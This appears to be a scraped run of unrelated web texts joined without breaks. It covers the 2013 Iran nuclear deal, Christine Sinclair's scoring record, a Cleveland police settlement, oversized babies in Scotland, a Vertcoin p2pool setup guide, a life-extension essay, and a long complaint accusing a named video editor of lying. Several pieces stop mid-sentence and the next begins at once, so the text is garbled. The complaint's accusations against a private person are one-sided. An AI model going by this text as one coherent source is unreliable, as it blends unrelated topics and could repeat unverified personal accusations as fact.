Both Iran and the P5+1 group (the US, Russia, China, Britain, France, and Germany) have declared victory, and portrayed the other side as receiving limited and “reversible” gains – a bid to preempt domestic critics.
In Iran, the government campaign to sell the deal to the public immediately began at the highest level, with a very public exchange of letters between Supreme Leader Ayatollah Ali Khamenei and the centrist President Hassan Rouhani, who has been in office just three-and-a-half months. A blessing from Mr. Khamenei can go a long way to silence potential critics in Iran; a less supportive message would have been seen as a license to attack and undermine President Rouhani.
In his letter, Mr. Rouhani praised the “divine success” under Khamenei’s guidance. He said Iran’s negotiating team had “showed the big powers can be urged to respect the Iranian nation’s rights” and “through logical and reasonable presentation [can achieve] respecting all [Iran’s] principles and red lines,” according to a translation by the Fars News Agency.
In return, Khamenei expressed an unprecedented level of support for his negotiators, the highest for any during a decade of high-stakes nuclear diplomacy with the West.
“Achieving what you have written is worth appreciation and praise to the nuclear negotiating team…and can be the basis for future smart moves,” Fars quoted Mr. Khamenei as writing. “God willing, resistance against greediness (of the other side) should always remain as an indicator [of] a correct path.”
Amid chaotic scenes at the airport Sunday night, Mr. Zarif posed for a few photos, in one surrounded by a crowd of young female supporters, indicative of the widespread support of young Iranians who helped give Rouhani a first-round victory in June's elections.
Most newspapers covered their front pages Monday with the news, including the reformist Shargh, which showed a large photograph of Zarif clasping hands with US Secretary of State John Kerry at the signing ceremony, both men smiling, and a US flag in the background.
It was a rare sight for senior officials of these two nations, and rarer still to be on Iranian front pages. In the past, Iran has called the US the "Great Satan," and American flags are still routinely burned after Friday prayers. Washington used to refer to Iran as part of an "Axis of Evil," and still considers the Islamic Republic the "most active" state sponsor of terrorism.
“All the measures that we will take, the confidence-building measures, are reversible, and they can be reversed fast,” Zarif told state TV in an interview at the airport, echoing senior US officials about the reversibility of sanctions relief. “Of course, we hope we don’t have to do this.”
Zarif affirmed that the Geneva deal “stipulates twice that there will be no resolution of the nuclear dispute without a nuclear enrichment program inside Iran” – which has been a perennial red line for Iran, and a key sticking point in all rounds of talks.
Writing on his Facebook page in Persian, Zarif later thanked Khamenei for his praise in the letter, “where he bestowed grace upon his children as before.” Public messages of support “brought tears of joy into our eyes as your modest serving staff,” said Zarif, according to the Mehr News Agency.
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Zarif also warned critics to tread carefully, and not give Israel, which has slammed the deal as akin to appeasement, an opening for derailing it.
“We would welcome constructive and benevolent criticism, but we expect in return that our friends [keep] in mind two considerations; fairness of judgment and more important, national interests,” Zarif wrote. “You should be alert that Zionists and other warmongers [are] all extremely on edge and they would spare no pretext and device to bring a deal dubbed a deal of the century for Iran, into nothing."TORONTO – Seventeen goals.
That’s all the separates Canadian captain Christine Sinclair from beating U.S. legend Abby Wambach’s all-time record as the top scorer in the history of women’s international soccer.
Sinclair’s 168th goal came in Canada’s 3-1 win over Costa Rica on Thursday night in Winnipeg, the opener of a two-game exhibition series between the sides that concludes Sunday afternoon at BMO Field.
With each goal, Sinclair, who turns 34 on Monday, inches closer to Wambach’s mark of 184. But the Burnaby, B.C., native insists that becoming the all-time scorer in the women’s game isn’t foremost on her mind. Instead, she has far loftier aims.
“I got asked [about the record] in the press conference before the Winnipeg game, and they asked me what my goal total was, and I honestly had no idea. I’ve since been told it was 168. I don’t even know what Abby is at. It’s just not something I pay attention to. I want this team to succeed and there are more important goals than beating Abby Wambach,” Sinclair told Sportsnet ahead of Sunday’s rematch versus Costa Rica.
“I want this |
that he'd heard of the DVD but not seen it. As for it having an adverse effect on tourism, Grinnell said, “At this point, we haven't seen any effect. I personally don't think it's going to have any effect.”
Jeff Feldman, president and CEO of the Greater Eureka Springs Chamber of Commerce, said he'd received a couple of communications from people “expressing concerns” about Eureka Springs after seeing the DVD. “We've chosen not to respond,” he said. “Certainly people are entitled to their opinions. The Chamber has taken the tack that we're here to do things positive and progressive, not spend time dwelling on the negative or the perceived negative.”
People on the opposite side from Wilson and the AFA have said that the DVD will scare off the kind of tourists that Wilson and the AFA approve of. A writer on gaynewsbureau.com said:
“That sound you hear is the squealing tires on the church buses driving away from Eureka Springs. All the AFA's mocumentary succeeded in doing was to scare away the ‘faith-based' market it claims to represent by telling them Eureka has been ‘taken over by professional, militant homosexuals.' With the AFA's help, spokesmen for the Great Passion Play and Best Western/Inn of the Ozarks shot themselves in the feet while bemoaning the notion of ‘gay-friendly' on film. Conversely, in a way, the AFA is one of the best ad agencies we've ever had. Thanks to the attention the video has generated in the blogosphere, a great many more potential tourists now know about this progressive, enlightened, inclusive off-beat little town that has the ONLY Domestic Partnership in the state (which has already attracted couples from 11 other states) and three Diversity Weekends a year which attract thousands of visitors.”We've been tipped by a reliable source today that Google will be using the name "Key Lime Pie" for the version of Android that comes after Jelly Bean (in fact, the information comes from the very same source that tipped us to the Jelly Bean codename last year). We don't have any guidance on when we might see Key Lime Pie officially unveiled or what the version number may be — we haven't even seen Jelly Bean yet, after all — but it's reasonable to think that it could be a 2013 deliverable, particularly as Google has slowed down Android's iterative pace over the past couple versions.
In the meantime, start getting used to the "KLP" acronym. (And for bonus points, name some other desserts that start with "K.")CLEVELAND, Ohio — A lawsuit filed by the families of two suspects killed in the 2012 Cleveland police chase has been settled.
According to U.S. District Court, the lawsuit was settled Monday. The court docket does not give a monetary amount of the settlement.
Attorneys for the families of Malissa Williams and Timothy Russell say the judge ordered them not to discuss the specifics of the settlement. They did release this statement:
Statement of Lawyers for the Estates of Timothy Russell and Malissa Williams:
“As has been reported, there was a settlement reached in this case. The lawyers for both estates, as well lawyers for the City and officers, are unable to disclose the terms at this point because any settlement must be approved by the probate court. That process will take some time.
Nothing can ever provide a complete sense of justice because what occurred on November 29, 2012 cannot be reversed. The families will have closure and that is very important to them but this is just the beginning of the road to real reform in Cleveland. We look forward to the results of the DOJ investigation and we stand ready to work with the community to make sure that excessive force by Cleveland Police comes to an end.”
The suit was filed against the city of Cleveland and Cleveland Police. A spokeswoman for the city has not yet commented on the matter.
The chase took place Nov. 29, 2012, after an officer at the Justice Center thought someone in the suspects’ car fired a shot at him.
The chase ended in East Cleveland, when 13 officers fired 137 shots, killing the two suspects, Timothy Russell and Malissa Williams. The suspects were unarmed.
Stick with Fox 8 and Fox8.com for more on this developing story.
Click for continuing coverage.A BOOM in the number of overweight pregnant women in Scotland is leading to a rise in oversized babies.
NHS figures reveal 852 babies weighing 10lbs or more were born across the country last year – with some tipping the scales at more than 12lbs.
Oversized babies are at increased risk of a lifetime of health complications
Babies weighing 9lbs 14oz or more are considered oversized – or macrosomic – by medical authorities in Scotland.
Health experts warn women who are overweight or obese can give birth to heavier babies because the foetus receives more sugar through the placenta.
They say overweight mums are at an increased risk of having a complicated pregnancy, including developing maternal diabetes, which affects around one in 20 pregnancies and can lead to a baby being born too large.
Oversized babies are at increased risk of stillbirth, getting stuck during delivery, and having a lifetime of health complications, including heart disease and diabetes.
Women have been advised to go into pregnancy at a healthy weight. Picture: Andrew Matthews/PA Wire
Scotland’s heaviest baby in 2015 was born in the NHS Lanarkshire area weighing 13lb 1oz – almost double the size of an average newborn. NHS figures show that 852 babies weighing 10lbs or over were born in Scottish hospitals last year.
READ MORE - Scotland welcomes first baby arrivals of 2016
Scotland’s largest health board, NHS Greater Glasgow and Clyde, saw 236 macrosomic babies born, with around half born by C-section.
In NHS Lothian 168 babies were born weighing more than 10lbs. NHS Lanarkshire saw 75, NHS Grampian had 81 and there were 72 in NHS Ayrshire and Arran.
Of those births, around half were by C-section or assisted delivery, such as forceps, which can lead to increased health risks in unborn babies.
Gillian Smith, director for the Royal College of Midwives in Scotland, said bigger babies put increased pressure on midwives and doctors.
“The whole obesity thing is a big challenge, we need to get the message out there that if you are going to have a baby, you need to be a healthy weight before you start getting pregnant,” she said.
“In Scotland there has generally been a rise in big babies and there is no doubt that the rate of caesarian sections is also increasing. Unfortunately having a C-section can set a precedent for future pregnancies.
“There is also a higher stillbirth rate in pregnancies that follow on from a caesarian.
“There is no doubt that bigger babies put extra pressure, not just on midwives, but also on paediatricians, anaesthetists and obstetricians.”
Professor Naveed Sattar, NHS clinician and professor of metabolic medicine, said: “Pregnancy is a stress test of the body’s metabolism and
predominately, gestational diabetes is caused by higher levels of obesity in younger women.
“If the mum develops diabetes, high sugar levels can cross the placenta and enter the fetus, producing insulin, which then acts as a growth factor for the baby.”
Edinburgh’s heaviest new baby in 2015 weighed 12lb 9oz.
Tam Fry, spokesman for National Obesity Forum said: “We are past the stage we can make a joke about someone who is overweight, it has become a national crisis.
“Unfortunately we live in a culture that still celebrates big, fat babies. It is an extremely serious issue. A women of that size costs more to look after in pregnancy as it at a higher risk of C-section.
“It is a horrible situation, from school age onwards. Girls should be told that when they enter a pregnancy, they need to be a good, healthy weight.”
Frances McGuire, acting chief midwife for NHS Lothian, said: “We offer advice in the early stages of pregnancy about the importance of diet and of taking regular exercise.
“We also offer specialist services to mums with diabetes whose baby may be at risk.”
Scottish heritage: for stories on Scotland’s people, places and past >>WASHINGTON — U.S. Senators Kamala Harris (D-Calif.) and Rand Paul (R-Ky.) today introduced the Pretrial Integrity and Safety Act of 2017. The legislation would take steps toward reforming the injustices of the money bail system that incarcerates people who have not been convicted of a crime because of their inability to pay.
Kanya Bennett, legislative counsel at the American Civil Liberties Union, had the following reaction:
“Too many people in this country must spend weeks, months, or even years in jail waiting for trial only because they can’t afford bail. Even though these people are innocent in the eyes of the law, they’re punished, deprived of their freedom with disastrous consequences for their families and their lives.
“The Pretrial Integrity and Safety Act would be a strong step toward countering the injustices of the money bail system and building safer communities, stronger families, and a more fair criminal justice system. While this bill isn’t perfect, its reforms would be progress towards fixing the systematic problems that have led to mass incarceration. The ACLU will continue to work to eliminate all forms of preventive detention as well as all unnecessary bail conditions.”
For more information about money bail, see “Selling Off Our Freedom,” a joint report by Color of Change and the ACLU’s Campaign for Smart Justice:
https://www.aclu.org/report/selling-our-freedom-how-insurance-corporations-have-taken-over-our-bail-system?redirect=SellingFreedomGuide to setting up a Vertcoin p2pool node on Windows using the One Click Miner.
Nick Moore Blocked Unblock Follow Following Nov 5, 2017
This is a short guide for setting up your own node for Vertcoin p2pool mining. on your home PC with a regular broadband router. If you are mining yourself it helps with rejection rates and also helps decentralize the network.
First step, download the core wallet from the above link, install and let it sync. This will take a while if it is the first time installing.
Under Settings > Options, make sure you allow incoming connections and UPnP (automatically forward the ports needed on your router)
Download and install the One Click Miner from https://github.com/vertcoin/One-Click-Miner/releases
First off, check the settings:
Choose which network you want to run on, network 1 for greater than 100Mh/s and network 2 for under and put in the wallet address you want to use for the fee. The mining port for network 1 is 9171, network 2 is 9181.
Under the general settings:
Tick Use UPnP and if you want to see what is going on under the hood, tick the Show CLI option. This will bring up a couple of windows that show the command line for both mining and the node.
Now tick the box in the top right, run local node:
Stealing this bit from the official github:
If you haven’t run a local node before or if there is an update available, you will see a pop-up message prompting a download. Click ‘OK’ to download and install P2Pool. You will also be prompted to add a wallet address and password to your local node address so the OCM can add your new node to the pool list.
If you selected an alternate location for the Vertcoin Data Directory when installing the Vertcoin Core Wallet, you will be prompted by the OCM to select the directory you chose. This is the directory that stores the Vertcoin blockchain for P2Pool to reference for mining. Click ‘OK’ to browse and select the directory.
Once you’ve clicked the ‘Run P2Pool Node’ checkbox and have completed the other steps, you will see the P2Pool status text change to “Loading” and then “Running: Network X”.
That’s it, you should now see a window that updates with the latest info from the pool if you ticked the Show CLI option, once it has loaded all the shares it will look like this:
In One Click Miner you should now have an entry that reads:
stratum+tcp://localhost:9181
Tick the box next to it and then start the miner, congrats you are now mining to your own node!
If you click on the entry above it should take you to the stats page for your node that looks like this:
If you want other people to see this page, you will also need to forward the ports on your router, 9171 for network 1, 9181 for network 2.
Check out this site https://portforward.com/ for guides on how to do this on lots of routers.
Your public address will be whatever IP address you get from your ISP (it should show on your router or you can use this site to check: http://ip4.me/) in place of “localhost”. E.g. http://xxx.xxx.xxx.xxx:9181/static/ or http://xxx.xxx.xxx.xxx:9171/static/ if network 1.
For others to join they need to either find you through the scanner or they need to add stratum+tcp://xxx.xxx.xxx.xxx:9181 or 9171. The xxx’s are your public IP address you get from your ISP. Should be visible on your router.
Also a tip from /u/DrMuhon on Reddit, this allows you to set a difficulty for your miner so that you only get shares that are suitably difficult to solve for your hardware.
How to configure the difficulty on the miner as well: Wallet = address/A + B
where
A = Your Hashrate in MH/s
and
B = 1000 * A * 0.00000116
And put an example, when I started I thought I had to add them up into a single value instead of typing the string with the +:
Example for 22 MH/s (GTX 970):
“Va1b2c3abdadec14ae/22+0.0232”Extending the Human Lifespan Humans have always been fascinated by the prospect of long life. For a classic take on this idea from one of the greats, check out Kurt Vonnegut’s short story from 1954 Tomorrow and Tomorrow and Tomorrow — he paints a portrait of a crumbling society after the invention of an anti-aging drug. You might think that life extension is just the stuff of science fiction, fantasy, and horror, but scientists have been studying how aging works — and how we can stop it — for decades. A 2015 editorial published in Nature Medicine said that aging is the greatest risk factor for many chronic human diseases, and that if aging can be slowed, the chance of getting these diseases can be pushed off too. A report from the World Health Organization notes that not all people age at the same rate, and the occurrence of disease isn’t a guarantee. Genetic or environmental factors have a hand in this, and scientists are continually studying what exactly influences aging. The Wellderly Study, published in 2016, linked cognitive health to physical health. You might also remember the studies done on mice involving the transfusion of blood; younger mouse (and human) blood allowed mice to thrive, while the blood of older mice negatively impacted their brains, livers, and hearts. Maybe vampires have the right idea. Destroying old cells in mice also had promising effects, as reported by Nature in February. When senescent cells (cells that can’t divide) build up in aging animals, the cells “release molecules that can harm nearby tissues.” Mice were genetically engineered so that their senescent cells would be destroyed upon injection of a drug. These engineered mice had lifespans 20 to 30 percent longer than their normal mice counterparts.
In 2015, the FDA authorized the first clinical trials of a drug, Metformin, that has the potential to extend the human lifespan up to 40 percent (along with boosting the time span that people can enjoy optimal health). It’s impressive how many theories are out there in the scientific community to stop the effects of aging, and as the years go by, there could be hundreds more. This prospect is exciting for many, but it also raises several questions and challenges. The Future of Aging So how can we prevent Vonnegut’s vision of the future from happening if we extend the lifespans of humans? Should we even extend human lifespans? We’re already one of the longest-living land animals on Earth. There are ethical and social problems to consider if life extension becomes the norm, and many of these were brought up in a debate sponsored by Intelligence Squared. Would slowing aging — or even eliminating it — change what it means to be a human? Humans are already quite self-centered as a species (prioritizing our own survival and standard of living over the planet itself and many other species). The planet can only sustain so many humans comfortably, and it’s currently strained as it is. If fewer people died, that would crowd us even more. There’s also the argument that new generations become more progressive and open to change versus older generations. Without the older population dying off, there’s less potential for different perspectives and new ideas. Dying also gives our lives meaning in regards to time — when time is a finite resource, we cherish it more.
From the opposite side, research into anti-aging will make us healthier in the last years of our lives, making healthcare less expensive for the elderly. Medical research has had to focus on many diseases and conditions, but if the focus is on aging itself, hopefully the potential to develop those diseases will diminish. We can also greatly benefit from the experience and wisdom of older people as a society. It’s detrimental to science to ignore these avenues of research. Anti-aging research also can lead to other research, such as how to sustain bigger populations. Urban Skyfarm is just one idea that would provide housing, farming, clean air, and renewable electricity. Careful urban planning will be a necessity as we move forward. Many scientists studying longevity believe that, in the end, the benefits of anti-aging research outweigh the negatives. Even if we can’t stop aging completely, we can make the last years of our lives more comfortable and less marred by disease and discomfort.Do Not Hire Film and Video Editor Cynthia Biret
Cynthia Biret is an awful film and video editor and preditor (a producer-editor) in my opinion. In late October 2013, I hired her for my Africa TV show project. She was a $10,000 disaster. I considered just brushing this lousy experience under the carpet, but I’d rather help others from suffering a similar fate with her (or anyone). Therefore, in this article I’m going to share my horrendous experience with Cynthia Biret.
Summary: I hired Cynthia Biret to produce a 3-minute trailer for my Africa TV show and then a 48-minute pilot episode. She agreed to produce the trailer in 4 weeks. After nearly 5 months, $9,750, and listening to a dozen lies, she still hadn’t produced an adequate 3-minute trailer. She demanded another $1,750 for an additional week that she claimed she needed to finish the trailer. Instead of throwing even more money at her, I found another editor to do the job.
What follows chronicles the disaster. I’m airing this dirty laundry to help others learn from my mistakes. Whether you’re considering hiring Cynthia Biret or some other editor, seeing what happened to me can help you avoid a similar fate.
I'll try to sum what happened as objectively as possible.
Why I hired Cynthia Biret
Prior to hiring Cynthia Biret, I was working with Jeff Bruno, who produced this rough cut for the trailer:
For a few hundred bucks and minimal direction, Jeff's first cut was a great start. We both wanted to finish the trailer, but he didn't have the time to get it done by late November 2013 because he was working full-time elsewhere. Therefore, I hired Cynthia Biret to do the job. I told Cynthia Biret multiple times that the biggest problem with Jeff's trailer is that he only used footage from Morocco.
I hired Cynthia Biret after reviewing several candidates on StaffMeUp.com. You can review my contract with Cynthia Biret. I made the mistake of not putting a date on the contract, but I sent it to her October 29, 2013. As you can see, there's a clear deadline on the contract, which we pushed back one week (so Dec 3, 2013). I told her many times that it was extremely important to finish the pilot within a month so I could promote the show during the holiday season. The contract gave her 4 weeks to do the trailer. Nearly five months after the contract, I still hadn’t received a finished trailer.
The facts after I hired Cynthia Biret
Cynthia Biret preferred to be paid by check (rather than PayPal, which takes a 2% fee), even though I warned her that it would take 7-10 days to get a check.
To foster goodwill and establish trust, I issued the first few checks a few days before Cynthia Biret invoiced me, so that they would arrive within a couple of days getting the weekly invoice. In fact, she got her first check BEFORE she wrote her first invoice!
Cynthia Biret had many tech difficulties with the footage, but confirmed that we were on schedule. November 30, she wrote, "I know we are ok with timing." December 3, right before the deadline, she wrote, "We are still on track with the original timeline."
In week 3 of the 4-week trailer project, I decided to do a Kickstarter campaign, which would feature the trailer. I filmed 4 minutes of video of me talking (3 video clips) about the KS campaign and asked Cynthia Biret if she could splice the 3 clips together. She did a good job. She also wrote a couple of long emails giving me suggestions on how to improve the text in the KS pitch.
Cynthia Biret would later claim that her involvement in the KS campaign absorbed "several days" of her time. Given how simple the pitch video was, I doubt it took her more than half a day's labor (watch it below and judge for yourself). It would have taken me half a day to do it, and I’m just an amateur editor; any professional editor could do it faster. Her input on the text (her emailed comments totaled about 2,000 words, which should have taken no more than a few hours to write, not “days” as she claimed).
In the 2nd week of Dec (already a week late), Cynthia Biret claimed the trailer was done, but that she wouldn't upload it until she got the final check. Given that I had a strong record of paying her and that this was the first version of the trailer (and that we'd probably need at least one more cut), I didn't understand her strict stance.
To avoid delays, I showed her a screenshot of my bank account to prove that I had issued the check and that it was in transit. She laughed me off and refused to upload the first cut of the trailer until she cashed my last check. We lost a week because (for the first time ever) I hadn't cut the check before she invoiced me. This unnecessary delay meant that it would be too late to promote the trailer effectively over the holidays as planned.
By mid-Dec, Cynthia Biret had cashed $7,000 of checks from me, which, given the 4-week deadline, was the maximum the contract allowed for (4 weeks x $250/day x 7 days = $7,000).
In mid-Dec, she claimed she was still having technical difficulties outputting the trailer.
I didn't want to lose another week in making the pilot because of Cynthia Biret’s hardball tactics of waiting for the check, so I sent her a $2,750 advance for pilot, even though I had still not seen the trailer. I assumed the trailer would be done within a few days, and I wanted her to start editing the pilot immediately after she was done with the trailer.
After cashing $9,750 of checks in mid-Dec, Cynthia Biret effectively cut off all communications for 3 weeks. I begged her many times to call me. The last time I heard her voice was in Nov 2013. She never called ever again. From mid-Dec to January 8, she ignored nearly all my emails.
On January 8, Cynthia Biret broke her silence. She still had tech difficulties, so she filmed her computer screen and uploaded that to Vimeo. It was over one month after the deadline. Here's Cynthia's Biret's first cut:
Cynthia Biret’s first cut was disappointing, because I had told her several times that the trailer must feature footage outside of Morocco, yet her first cut only featured Morocco. She had simply reused most of the footage that Jeff (my first editor) had used in his first crude cut (compare with the first video on this page). Cynthia was charging me 10 times as much as Jeff, so I expected something much better than Jeff's first draft.
because I had told her several times that the trailer must feature footage outside of Morocco, yet her first cut only featured Morocco. She had simply reused most of the footage that Jeff (my first editor) had used in his first crude cut (compare with the first video on this page). Cynthia was charging me 10 times as much as Jeff, so I expected something much better than Jeff's first draft. Cynthia Biret’s excuse for only using Morocco footage was that the "Instructions from Jeff were to focus on Morocco." This was a feeble lie, because: (1) I was the director, not Jeff; (2) Jeff wasn't even working on the project, so his opinion was irrelevant; (3) Jeff wouldn't have given those instructions anyway since he knew that my main critique of his original trailer was that he only used Morocco footage!
Cynthia Biret even made a bold lie claiming that in the trailer "there are some visuals from other areas as well." Did she think I wouldn't recognize where all the visuals were taken from? When I asked her to tell me what other countries were featured in the trailer, she couldn't answer.
So in that one email she told two lies. This is on top of her two lies that said right before the deadline, saying that we were "on track" when we were not. We're up to four lies.
Given that she used most of the same clips that Jeff used, it seems she just pulled from Morocco because it was easier to copy Jeff's efforts rather than follow my clear instructions to use plenty of footage featuring black Africans.
After another two agonizing months, Cynthia Biret delivered her second cut (delivered in late February). She went from 0% of the footage from Black Africa to only 7% of footage from Black Africa, even though 80% of the show is about sub-Saharan Africa. It’s stunning that it took her nearly two months to make such a minor change. See it below:
By now we were in March 2014, three months after the deadline and the trailer was still not done, despite me giving her $9,750 in December, a full $2,750 over the $7,000 budget.
Cynthia Biret didn't want to do any more work "for free" and demanded that I pay her $1,750 for another week of work.
I said $7,000 is plenty for a 3-minute trailer and that I shouldn't have to pay/reward her for not following my clear instructions of using clips from Black Africa, of using a clip where my car goes underwater, of using an aerial video clip, of increasing the color saturation, of putting the sponsors logos at the end, etc... She ignored most of my instructions that I gave her at the beginning of the project and ignored them again on her second cut. What if she ignored my instructions on the 3rd cut? Should I pay for her overtime again?
Cynthia Biret said that I couldn’t enforce the contract because she never signed it. I admit I forgot to make sure that she sent me a signed copy. However, given that she knew the contract's deadline and payment, and that she never contested it, it's pretty clear that she agreed to it implicitly. She may be able to legally weasel out of her obligations, but morally and ethically she cannot.
In March, after having worked together for nearly five months, Cynthia Biret claimed that "we were planning to work on adjusting the contract." This is another absurd lie. When I asked her to prove that, she couldn't. 5th lie.
Cynthia Biret promised to deliver the 3rd cut of the trailer on March 11, but didn’t deliver on time. In fact, she lied on March 12 when she wrote, “Having trouble posting. Trailer is done, but the upload is slow. Will try again in the am.” Since I changed the password on my YouTube account, there was no way that she was uploading the trailer, which also means it wasn’t done (thus, a double lie - that's 7 lies so far). On March 13, she said that couldn’t upload because the password had changed. Had she really been trying to upload on March 11-12 as she claimed, then she would have noticed the password change then. I pointed that out to her and she stayed silent.
If you were to ask Cynthia Biret why, after nearly 5 months and nearly $10,000, she was incapable of producing a 3-minute trailer that followed my guidelines, she would probably say:
"There were too many technical problems." She's right. However, throughout the first 4 weeks (even until a day before the deadline), she assured me that the despite the problems, we were on track. Instead of telling me early that the problems were severe and would delay us several months, she kept saying that she would be done "in a few days" or "in a week." In mid-Dec she even claimed the trailer was finished and she would upload when she got her final payment. Furthermore, it's hard to believe that the tech problems would create a 4-month delay on a 3-minute video. Either she's incompetent, slow, or exaggerating.
"The Kickstarter side project delayed me by several days." (1) As I explained above, this is hard to believe given how simple the KS Pitch video was and the length of her emails regarding the KS text; all together, it should have only taken 6-10 hours of her time, unless she’s ludicrously slow. (2) Even if her estimate were accurate, then the trailer should have taken 4 weeks + "several days". Instead, after 5 months I still didn't get a finished trailer. Therefore, the KS project was hardly a factor even if you believe her preposterous claim that it took "several days" of her time.
"I was misled on how much footage there was to review." Jeff had estimated that we had 16-20 hours of footage. Cynthia Biret said that it was closer to 100 hours. Reality: Jeff was estimating the amount of Morocco footage, which was all that was necessary to review to do the 1-hour pilot episode. For the trailer, there's no need to watch 100 hours of video, especially since I gave her a long list of clips she should consider using so that she didn't waste time sifting through all that footage. Despite that, she ignored my suggestions.
"The audio quality of some of the video is bad because you sometimes didn't use a lav mic." True. However, for a 3-min trailer, you don't need nonstop great audio since music will dominate. Nor does this explain needing 5 months to make a 3-min video.
"I was no longer being paid." By mid-Dec, she had cashed $9,750 of checks - that's $2,750 more than the contract stipulated. Moreover, Cynthia Biret didn't ask me to send her any more money until the end of February. At that point, I refused to pay her anything more because (1) several times she claimed that the trailer would be done within a few days and it wasn't; so why should I believe her this time? What's to stop her from saying that she needs yet another week after that? (2) the contract's deadline/time-limit dictated that she couldn't collect more than $7,000 for the trailer. Moreover, she was refusing to return the $2,750 advance that I gave her on the pilot, because she claimed that she was keeping that extra money to pay for the extra time she spent on the trailer that she never completed.
"I never know where you are and what your bandwidth is like." (Quote from Feb 5 email from her.) That's irrelevant to the job! Just cut the trailer. Upload it. Respond to email. Easy. Bandwidth and my schedule are my problem, not hers.
"As we progressed and probably as you talked to other people, you then asked for a different trailer all together" (this is a direct quote from her Feb 25 email). This is another lie (8th). To prove that she's wrong, I re-sent her my Oct 24 email which outlined the goals of the project. They hadn't changed. She was speechless. Her claim that I changed my requirements midstream is false.
I caught Cynthia Biret making a few other lies. For example, here are three lies that she wrote in just one email dated Feb 5 (bringing her total to 11 lies):
"I knew that you were not going to honor your end of the contract, meaning that the $4000 bonus due if the show sells had now disappeared into thin air." This is a complete fabrication. I asked Cynthia Biret to prove her claim or to tell me where I even hinted at that. She never replied.
"The break down in communication did not start from my end, but from you." Another lie. Although sometimes I took a couple of days to reply because I was traveling in Africa, I never ignored a single email from Cynthia Biret. Meanwhile, she not only ignored many of my emails, but she also refused to call me despite multiple requests. That’s completely unprofessional.
"You set up new conditions for payment." Yet another lie. At the beginning of the project, I explained that checks would take a 7-10 days to get to her. She never protested. The only thing "new" that happened was that one time I didn't cut the check early. She had grown accustomed to getting the checks within a couple of days of issuing the invoice, so because one check took 7-10 days, she thought I was late at paying her and she freaked out. Meanwhile, she had no sympathy for me freaking out that I've paid nearly $10,000 and never got a finished trailer.
Because I caught Cynthia Biret lying to me over a dozen times, I must question many of the things she said. For example, did she really have such titanic technical problems? While there definitely were technical problems, I struggle to believe that they alone caused a multi-month delay. I’ve dealt with many computer problems before. Some have consumed days of my time because I often have to wait for people to respond on forums. However, I’ve never found a computer problem that sucked up weeks of my time, let alone months of my full-time effort. The only way that could happen is if I were doing something else, which is probably what she was doing. The problem for Cynthia Biret is that she can’t win this argument because there’s only three possible reasons as to why she took 4 months to resolve this:
(a) Cynthia Biret wasn’t working full time on the project. This is bad news for her because it means she ignored the project’s urgency and that when she claimed to be working 10 hours a day / 7 days a week, she was lying.
(b) Cynthia Biret was truly giving it her all for all those months. In this case, this means she’s incompetent. Who needs 4 months to solve a tech issue? Only an incompetent person.
(c) All the above.
I suspect the answer is (c): she was not giving it her all, and she was a bit incompetent and slow. She probably doesn’t work smart: she probably wasted a lot of time watching dozens of hours of raw video instead of quickly skimming the video or following my guidelines which told her which video clips to use. She ignored my instructions for the trailer, even though I sent them to her at least three times. She also probably worked on other projects or did personal affairs during those four months. Thus, the combination of Cynthia Biret’s slow, inefficient work habit with her not focusing on the project full time caused the four-week project to become a five-month project—and one without a proper output.
How the Cynthia Biret disaster ended
On the same day that she failed to deliver the trailer (March 11), she said that the only way for her to do the 48-min pilot episode is that:
I pay her $6,000 upfront She works no more than 30 days I cover the cost of the extra software needed to do it
I wrote back:
You want me to send you $6000 and trust that you will deliver a 48-minute trailer in one month when you haven't been able to deliver a finished 3-min trailer in over 4 months despite being paid nearly $10,000?
I've trusted you enough and you've let me down consistently. It is your turn to trust that I will pay you. I've never taken more than 10 days to get a check to you. Meanwhile, you've never made a single deadline. Not by a long shot. You promised me a 3rd cut today and you haven't delivered. And now you want me to believe you'll make your one-month deadline?
Since you've proven yourself incapable of delivering a finished 3-min video over 4 months, I have no confidence that you can make a 48-min video in 1 month.
Moreover, since this would be a fixed $6000, then I can already see how you will simply abandon the project at day 30, no matter what state it is. I'll be forced to pay another editor (or you) to finish it properly.
Or perhaps it will be "finished", but it will be sloppy and unprofessional. You won't care because you probably think the project is hopeless anyway and will die in obscurity.
To do a good pilot in 1 month takes a level of speed and organization that you don't seem to have.
I'd be fine with aiming for a one-month deadline, but if it's not up to a decent standard, we'll have to take more time.
Therefore, if you want to finish your commitment, then:
You'll be paid $6000 at the end of the project, not the beginning. You'll aim to do it in a month, but you will stay on board until it's finished to my satisfaction and |
2015, the Guangdong government announced a three year plan to increase automation in the region by subsidizing the purchase of robots.
According to the International Federation of Robotics (IFR), electronics production was one of the biggest growth drivers for the sales of industrial robots. China was the largest market for industrial robotics in 2014 with nearly 60,000 robots sold.
Also seeRobocoin CEO Jordan Kelley has addressed rumors the company may be pivoting, suggesting it may soon expand the means by which its allows consumers to buy and sell bitcoin.
The rumors, which first surfaced on 29th January, implied the company would be moving away from its bitcoin ATM hardware due to the technical difficulties managing its network, and that Robocoin‘s future was perhaps in jeopardy due to these issues.
Speaking to CoinDesk, Kelley didn’t deny the rumors so much as seek to rephrase the question, suggesting that Robocoin has always been broadly focused on helping consumers acquire bitcoin.
Kelley said:
“Our core business has been bringing bitcoin to the world. That means that we allow customers to easily buy and sell bitcoin via ATMs and kiosks. Our business hasn’t changed, it isn’t changing.”
Rather than framing the company as failing, Kelley suggested the company is on the verge of upcoming announcements, stating also his belief that it has largely addressed many of the problems its operators previously reported.
What was perhaps most notable about the conversation was his choice of words, referring to ATM operators as owners of “Robocoin-enabled devices” and emphasizing the strength of the company’s software solutions.
When asked if this meant Kelley would be shifting the company strategy toward selling software solutions to more traditional ATM manufacturers, here again Kelley answered cryptically, promising more details at a later date.
“I’m not saying the word just yet, but you might be on to something,” he said.
Kelly suggested more announcements will be forthcoming in Q1 of 2015.Although Chromebooks and Chromeboxes are relatively limited compared to traditional desktop platforms, the devices always had a bit of workaround. Using the Chrome Remote Desktop app, you can tap into a Mac, Windows or Linux computer that has Chrome installed, giving you full access to files and apps. Now, one of the more often requested features is available to Chrome Remote Desktop: Remotely accessing one Chrome OS device from a computer that has Chrome installed.
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Google’s François Beaufort notes that the feature is currently only available if your Chrome OS computer is on the Developer channel; it hasn’t yet officially progressed to either the Beta or Stable channels of Chrome OS. Unlike other experimental features, there’s no need to enable a setting or flip a switch for remote access to work.
At first glance, it may sound like the new feature is unnecessary: Why would you want to remotely access a [company]Google[/company] Chromebook or Chromebox which has fewer apps that other ecosystems and uses a browser for the interface?
